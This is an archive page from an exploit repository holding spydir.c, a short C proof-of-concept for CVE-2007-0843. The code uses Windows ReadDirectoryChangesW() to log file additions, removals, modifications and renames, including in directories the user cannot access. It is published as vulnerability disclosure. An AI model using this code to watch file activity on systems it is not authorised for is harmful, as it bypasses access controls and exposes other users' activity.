what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

spydir.c

spydir.c
Posted Feb 24, 2007
Authored by 3APA3A | Site securityvulns.com

Exploit that demonstrates the vulnerability in ReadDirectoryChangesW() for Microsoft Windows 2000/XP/2003/Vista.

tags | exploit
systems | windows
advisories | CVE-2007-0843
SHA-256 | 4478745e135e06387cd47d9eeaa660d45d71036448847dcdbc5d5e4abacc8449

spydir.c

Change Mirror Download
/*
Monitors directory changes
(c) 2006-2007 Vladimir Dubrovin, 3APA3A
http://securityvulns.com/
http://securityvulns.ru/
*/

#include <windows.h>
#include <stdio.h>
#include <string.h>


int main(int argc, char *argv[]){
HANDLE hDir;

char buf[1024];
FILE_NOTIFY_INFORMATION * fn;
int read;
WCHAR * action = NULL;

if(argc != 2) {
printf(
"Usage: %s <directory_path>\n"
" Monitor directory changes with all subdirectories\n"
" For any files, including ones you have no access\n"
" (as on January, 2007)\n"
"(c) Vladimir Dubrovin, 3APA3A\n"
" http://securityvulns.com\n"
" http://securityvulns.ru\n"
"This approach is not reliable and should not be used for audit and another critical operations.\n",
argv[0]);
return 1;
}

CreateDirectory(argv[1], 0);
hDir = CreateFile(
argv[1],
FILE_LIST_DIRECTORY,
FILE_SHARE_READ|FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
NULL
);
if(hDir == INVALID_HANDLE_VALUE){
fprintf(stdout, "Failed to open dir\n");
return 2;
}
for(;;){
if(!ReadDirectoryChangesW(
hDir,
buf,
1022,
1,
FILE_NOTIFY_CHANGE_DIR_NAME | FILE_NOTIFY_CHANGE_FILE_NAME | FILE_NOTIFY_CHANGE_LAST_ACCESS |
FILE_NOTIFY_CHANGE_ATTRIBUTES | FILE_NOTIFY_CHANGE_SIZE | FILE_NOTIFY_CHANGE_LAST_WRITE |
FILE_NOTIFY_CHANGE_CREATION | FILE_NOTIFY_CHANGE_SECURITY
,
(DWORD *)&read,
NULL,
NULL
)) {
fprintf(stderr, "Failed to read directory changes\n");
break;
}
for (fn = (FILE_NOTIFY_INFORMATION *)buf; ;){
fn->FileName[fn->FileNameLength/2] = 0;
switch(fn->Action){
case FILE_ACTION_ADDED:
action = L"added";
break;
case FILE_ACTION_REMOVED:
action = L"removed";
break;
case FILE_ACTION_MODIFIED:
action = L"accessed/modified";
break;
case FILE_ACTION_RENAMED_OLD_NAME:
action = L"renamed (old name)";
break;
case FILE_ACTION_RENAMED_NEW_NAME:
action = L"renamed (new name)";
break;
default:
action = L"(unknown)";
}
wprintf(L"File %s: %s\n", action, fn->FileName);
if(!fn->NextEntryOffset) break;
fn = (FILE_NOTIFY_INFORMATION *)(((char *)fn) + fn->NextEntryOffset);
}
}
return 0;

}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close